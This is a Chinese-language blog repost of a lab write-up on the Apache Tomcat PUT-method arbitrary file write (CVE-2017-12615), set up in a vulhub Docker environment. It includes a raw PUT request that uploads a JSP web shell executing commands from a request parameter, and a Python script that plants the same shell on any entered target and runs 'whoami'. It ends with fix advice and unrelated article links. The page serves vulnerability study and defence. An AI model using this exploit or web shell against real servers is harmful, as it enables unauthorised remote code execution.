Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

news2024/10/5 17:25:35

1 漏洞原理

  1. 在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。

  2. 当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。

2 漏洞影响

  1. 任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。

  2. 远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。

  3. 信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。

3 环境搭建

进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现步骤

1 抓包后,右键单机Send to Repeater

2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。

PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
​
<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

这里看到返回201,应该已经上传成功了。

3.使用浏览器访问exc.jsp可以任意命令执行

5 编写python脚本探测漏洞是否存在

#!/usr/bin/env python
​
import requests
import time
​
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
​
def cve_2017_12615():
    # 输入目标IP地址和端口
    url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")
    # 将payload_file添加到目标URL
    payload_url = url + payload_file
    print(payload_url)
    
    # 定义请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
    }
​
    # 定义恶意脚本内容
    payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
                    "int a = -1;"
                    "byte[] b = new byte[2048];"
                    "while((a=in.read(b))!=-1){out.println(new String(b));}"
                    "%>")
    # 使用PUT请求将恶意脚本写入服务器
    response = requests.put(payload_url, data=payload_body, headers=headers)
    print(payload_url[:-1])
    print(response.status_code)
    # 等待一会
    time.sleep(3)
    # 定义测试负载
    test_payload = {
        "cmd":"whoami"
    }
    # 发送GET请求测试恶意脚本是否成功执行
    response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)
    print(response2.status_code)
    if response2.status_code == 200:
        print("漏洞存在!!")
    else:
        print("漏洞不存在!!")
​
# 调用cve_2017_12615()函数
cve_2017_12615()

结果

6 修复建议:

  1. 禁用PUT方法:在Apache Tomcat服务器的配置文件(如web.xml)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。

  2. 限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。

  3. 输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。

  4. 使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1638866.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mac brew安装Redis之后更新配置文件的方法

安装命令 brew install redis 查看安装位置命令 brew list redis #查看redis安装的位置 % brew list redis /usr/local/Cellar/redis/6.2.5/.bottle/etc/ (2 files) /usr/local/Cellar/redis/6.2.5/bin/redis-benchmark /usr/local/Cellar/redis/6.2.5/bin/redis-check-ao…

跨平台桌面客户端开发框架

跨平台桌面客户端开发框架允许开发者创建能够在多个操作系统上运行的桌面应用程序。以下是一些流行的跨平台桌面客户端开发框架。这些框架各有优势&#xff0c;选择哪个框架取决于项目需求、团队的技术栈以及对特定特性的偏好。 1.Electron &#xff1a; 使用JavaScript, HTML…

Java IO流(三)

1. 字符流 1.1 什么是字符流 在Java中&#xff0c;字符流是指提供了基于字符的I/O能力的API。 Java 1.0中提供的基于字节的I/O流API只能支持8位字节流&#xff0c;无法妥善地处理16位Unicode字符。由于需要支持Unicode处理国际化字符&#xff0c;因此Java 1.1 对基础流式I/O库…

vue3+ts 原生 js drag drop 实现

vue3ts 原生 js drag drop 实现 一直以来没有涉及的一个领域就是 drag drop 拖动操作&#xff0c;研究了下&#xff0c;实现了&#xff0c;所以写个教程。 官方说明页面及实例&#xff1a;https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API 最终效果&…

SpringCloud整合Gateway结合Nacos

目录 一、引入依赖 二、开启两个测试项目 2.1 order service ​编辑 2.2 user service 三、gateway项目 3.1 新建一个bootstrap.yml文件 3.2 将我们的的网关配置写道nacos里的配置里 3.3 测试&#xff1a;看能够根据网关路由到两个测试的项目 四、 优化 4.1 将项目打包…

数据库(MySQL)—— DQL语句(聚合,分组,排序,分页)

数据库&#xff08;MySQL&#xff09;—— DQL语句&#xff08;聚合&#xff0c;分组&#xff0c;排序&#xff0c;分页&#xff09; 聚合函数常见的聚合函数语法 分组查询语法 排序查询语法 分页查询语法 DQL的执行顺序 我们今天来继续学习MySQL的DQL语句的聚合和分组查询&…

【面试经典 150 | 数组】接雨水

文章目录 写在前面Tag题目来源解题思路方法一&#xff1a;预处理方法二&#xff1a;单调栈方法三&#xff1a;双指针 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff…

【大模型学习】Transformer(学习笔记)

Transformer介绍 word2vec Word2Vec是一种用于将词语映射到连续向量空间的技术&#xff0c;它是由Google的Tomas Mikolov等人开发的。Word2Vec模型通过学习大量文本数据中的词语上下文信息&#xff0c;将每个词语表示为高维空间中的向量。在这个向量空间中&#xff0c;具有相似…

【C++】学习笔记——string_2

文章目录 六、string类2. 反向迭代器const迭代器 string类对象的容量操作&#xff08;补&#xff09;size() 3. string类的元素访问4. string类的修改 未完待续 结合文档食用~ 六、string类 2. 反向迭代器 一般来说&#xff0c;迭代器都是正向的遍历容器&#xff0c;虽然可以…

LuaJIT源码分析(三)字符串

LuaJIT源码分析&#xff08;三&#xff09;字符串 要表示一个字符串&#xff0c;核心就是需要知道字符串的长度&#xff0c;以及存放字符串具体数据的地址。lua的字符串是内化不可变的&#xff0c;也就是lua字符串变量存放的不是字符串的拷贝&#xff0c;而是字符串的引用。那么…

C语言⼆级指针如何操作字符串数组(指针数组)?

一、问题 对于字符串数组该如何操作&#xff08;⽽且是使⽤指针数组存储&#xff09;&#xff1f; 二、解答 使⽤指针的指针实现对字符串数组中字符串的输出。指向指针的指针即是指向指针数据的指针变量。这⾥创建⼀个指针数组 strings&#xff0c;它的每个数组元素相当于⼀个…

springcloud自定义全局异常

自行创建一个实体类 /*** 全局异常处理类**/ ControllerAdvice public class GlobalExceptionHandler {ExceptionHandler(Exception.class) ResponseBody public Result error(Exception e){e.printStackTrace(); return Result.fail();}/*** 自定义异常处理方法* param e * re…

神奇的Vue3 - 组件探索

神奇的Vue3 第一章 神奇的Vue3—基础篇 第二章 神奇的Vue3—Pinia 文章目录 神奇的Vue3了解组件一、注册组件1. 全局注册​2. 局部注册3. 组件命名 二、属性详解1. Props&#xff08;1&#xff09;基础使用方法&#xff08;2&#xff09;数据流向&#xff1a;单项绑定原则&…

深入图像分类:使用美国手语数据集训练定制化神经网络

引言 在前一篇博客中&#xff0c;我们探讨了如何使用MNIST数据集训练一个基础的神经网络来进行手写数字识别。在本文中&#xff0c;我们将更进一步&#xff0c;使用美国手语字母表&#xff08;ASL&#xff09;数据集来构建一个定制化的图像分类模型。通过这个过程&#xff0c;…

YOLOv9/YOLOv8算法改进【NO.128】 使用ICCV2023超轻量级且高效的动态上采样器( DySample)改进yolov8中的上采样

前 言 YOLO算法改进系列出到这&#xff0c;很多朋友问改进如何选择是最佳的&#xff0c;下面我就根据个人多年的写作发文章以及指导发文章的经验来看&#xff0c;按照优先顺序进行排序讲解YOLO算法改进方法的顺序选择。具体有需求的同学可以私信我沟通&#xff1a; 首推…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

Docker 安装部署 postgres

Docker 安装部署 postgres 1、拉取 postgres 镜像文件 [rootiZbp19a67kznq0h0rgosuxZ ~]# docker pull postgres:latest latest: Pulling from library/postgres b0a0cf830b12: Pull complete dda3d8fbd5ed: Pull complete 283a477db7bb: Pull complete 91d2729fa4d5: Pul…

C#知识|汇总方法重载与静态方法应用技巧

哈喽&#xff0c;你好&#xff0c;我是雷工&#xff01; 今天学习C#方法重载与静态方法应用技巧的相关内容。 01 方法重载有什么好处&#xff1f; 1.1、可以有效的减少类的对外接口&#xff08;只显示一个方法比较简洁&#xff09;&#xff0c;从而降低类的复杂度。 1.2、方便…

ubuntu开启message文件

环境&#xff1a;ubuntu 20.04 1、首先需要修改 /etc/rsyslog.d/50-default.conf 文件&#xff1b;源文件中message被注释&#xff0c;如下图&#xff1a; 2、打开注释&#xff1a; 3、重启服务 systemctl restart rsyslog.service 如此即可&#xff01;

freeRTOS事件标志组(1-16)

def&#xff1a;事件标志组简介 事件标志位&#xff1a;用一个为来表示事件是否发生 事件标志组是事件标志位的集合可以简单的理解事件标志组&#xff0c;就是一个整数 事件标志组的特点: 1&#xff1a;它的每一个位表示一个事件&#xff08;高8位不算&#xff09; 2&#…